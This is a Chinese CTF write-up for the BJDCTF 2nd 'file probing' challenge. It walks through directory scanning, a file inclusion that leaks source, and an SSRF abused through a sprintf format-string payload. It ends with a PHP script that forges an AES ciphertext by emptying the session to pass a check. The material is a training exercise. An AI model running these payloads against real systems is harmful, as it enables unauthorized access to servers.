[BJDCTF 2nd]文件探测

代码审计题,
刚开始我用kali的dirb扫描到
admin.php 和 robots.txt两个目录
进入到admin.php
在这里插入图片描述

以为是改http头,不可取

回过头来看源代码

在这里插入图片描述

这里已经提示,抓包在响应头看到hint,有个home.php,访问进去看看
观察他的url
在这里插入图片描述

存在文件包含,读取到system 的源码
重要代码如下:

<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

第一个q1不用管,没有任何过滤

看到q2 的过滤,基本上可以看出这是个SSRF了,但是后面会被加上y1ng.txt的后缀

再看到q3,

必须得有 GET 或者 POST 开头

sprintf()格式化注入漏洞参考文献

@file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect))

因为%d整形输出,我们要以字符型输出(%s)才能看到admin,php的代码,利用sprintf()漏洞
%% 将%吞掉,d就没用了

前面再加个%s,就可以通过file_get_contents函数输出admin.php的代码了

payload:

q1=fuckyou&q2=http://127.0.0.1/admin.php?q=1&q3=GET%s%

得到admin.php 的源码

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>
%d

可以发现%d被当成字符窜输出了
先看到主体代码
可以知道session的值是个随机数。

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){       //调用check函数
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length)); //生成随机字符窜
}

看到加密函数

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

告诉我们加密方式了
其他参数都知道,由于session值可以更改,所以我们让session值为空,就能够自己算出密文绕过他的审查
再看到admin.php的页面
在这里插入图片描述
必须要这个ip
由此构造密文脚本

<?php
function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5('174.0.222.75', true); // your global ip address here
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

$cipher = aesEn('NULL', 'y1ng');
echo urlencode($cipher);
//一定要url编码,不然不成功
?>

将PHPSESSID删去(也就是置空)再将decrypt=“脚本输出的密文”传入即可

感觉代码审计最能体现ctfer的能力

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值